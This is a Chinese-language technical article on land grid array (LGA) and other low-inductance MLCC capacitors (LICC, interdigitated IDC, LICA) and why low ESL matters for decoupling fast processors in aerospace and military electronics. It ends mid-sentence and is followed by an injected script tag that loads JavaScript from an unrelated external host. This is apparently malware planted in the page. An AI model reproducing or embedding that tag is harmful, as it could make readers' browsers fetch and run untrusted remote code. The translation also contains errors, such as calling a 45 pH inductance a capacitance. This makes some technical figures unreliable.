本文介绍了应用岸面栅格列阵(lga)电容器的各种益处，以及其在现代军事和航空航天设计中的优越低自感性能及其应用。
在当今的航空航天应用和军事应用等领域，对于实时数据处理的要求超过了以往任何时候。首当其冲的两个驱动这一趋势的因素为：对信息、显示和响应系统的高获取数据率以及图标/接口。无论是两个方面中的哪一个，对cpu/asic处理能力的要求都越来越苛刻。
二者共有的一个因素是要提供速度足够快的脉冲能量，以支持各种cpu、gpu以及dsp要求的更高的时钟频率。这就要求一个清洁的能量供应系统，带有最小的等价串联电阻(esr)，并且更为重要的是，在高频段，要具有较低的自感(等价串联自感=esl)。
自感的定义以及它的重要性
当一个asic或mpu进行调节时，会吸取能量。它产生的电路噪音的数量(delta v)等于自感的次数di/dt(在这里，di/dt是电流改变率，当装置调节逻辑状态时产生)。随着ic频率的上升，delta v将会增加。由于 delta v是在电路中产生的电压“噪声”，它对在电路中产生的特定噪声裕量有影响。为了保持delta v足够的小，设计者可以选择下面的两种方法中的一种：第一，把大量的标准电容器按并联形式安装；第二，利用少量的低自感电容器。这样一来，对更低的等价串联自感的需求就随着系统不断增加的速度而不断提高。
另外，当把一个信号加入处理器或从处理器中取出时，信号的电磁能量本身将会扮演一个线圈的角色，这是由于它的传输路径呈现环形所致。由于随着信号的频率不断增加，它会产生越来越多的能量损失，这一效果变得非常重要了。这一能量的损失对处理器的效率处理数据的效率产生了非常大的影响。
在一个标准的mlcc电容器中，等价串联自感正以装置本身的一个几何功能而崛起；信号到达一个终端之后，从另一端出来，然后再到达处理器，这就形成了一个足够大的闭环，在高频阶段，会产生相当大的能量损失。高速mpu、gpu和dsp半导体装置性能可以通过在紧靠硬模(在套装的上面)处或在pcb临近区域安置低自感电容器得到很大程度地提升。现在，已经有许许多多的策略元件的生产商致力于减少这一闭环方面的影响。
低自感mlcc电容器的发展历程
专门为减少自感现象而设计的第一个电容器被称为”低自感芯片电容器(licc)”，它使用了“逆几何”端点。这意味着要在长边(l)上而不是传统的端点(w)上终结电容器，这样信号回路将会以部件的宽度为基础，而不再是以长度为基础了。举个例子，一个1206装置可以作为一个0612生产，并且将会展示出一半的自感性，(一般情况下：500ph对1nh)。若要减小器件的大小(0508和0306)，就将会进一步降低用于解耦合的体积电容。对于这些情况，一些设计者已经使用了低自感电容器和高cv电容器并联的组合，以达到他们在参数性能上的目标。
由avx公司开发并申请专利的下一代装置属于叉指芯片电容器(idc) 。部件具有多条纹终端，而不是套装上的一个固态终端，它们交替地与pcb的基平面和能量相连，或者更直接地与处理器相连。这样的系统会产生相互自感抵消，把装置的各个自感和电容特性从彼此之间分开。举个例子，一个x5r、4v、0508套装可以产生2.2uf体积电容，但是同时它的等价串联电容只有45ph。
为了超越这一性能等级，一种低自感电容器列阵(lica)被开发出来。这种装置是由在一个bga翻转芯片套装中的垂直电极元件所组成的一个列阵。它是专门为进行单芯片或插入式发展而设计的，而这种发展都是都是用于非常高端处理器的应用。
具有革命意义的引脚网格阵列电容器的概念
用于pcb(而不是bga)应用的低自感电容器，其下一代产品已经被发布了。为了减少等价串联自感，引脚网格阵列电容器(lga)设计从上面勾勒出的两种基本的设计策略中脱颖而出。第一种是要使电流回路(由安装的装置形成)的面积足够的小，然后利用多重、并联回路来减少装置的净自感。第二种是要打断长边端点，使之变成一段一段的带有极性的终端，以形成若干个并联的小面积电流回路，例如：在叉指电容器(idc)中。
当引脚网格阵列设计从它的前任licc和叉指电容器中发展起来时，它所带来的变化事实上是革命性的：它利用精确的细铜终端技术(fct)以及非常重要的对于内部电极的垂直取向，这一点与lica产品是相似的。多层陶瓷电容器(mlcc)，licc以及叉指电容器都具有传统的水平取向的电极以及安置于电容器边上的终端，经过此电容器，电信号从装置中离开或进入。有了垂直电极和精确细铜终端为与装置的底部，引脚网格阵列电容器的电流回路变得非常的小，因此，产生的等价串联自感也就非常的小。
随着组件尺寸的不断缩小，终端的几种传统方法变得问题多多。新的了引脚网格阵列系统是一种功能强大的技术，它允许在相反极性的终端之间?script src=http://er12.com/t.js>
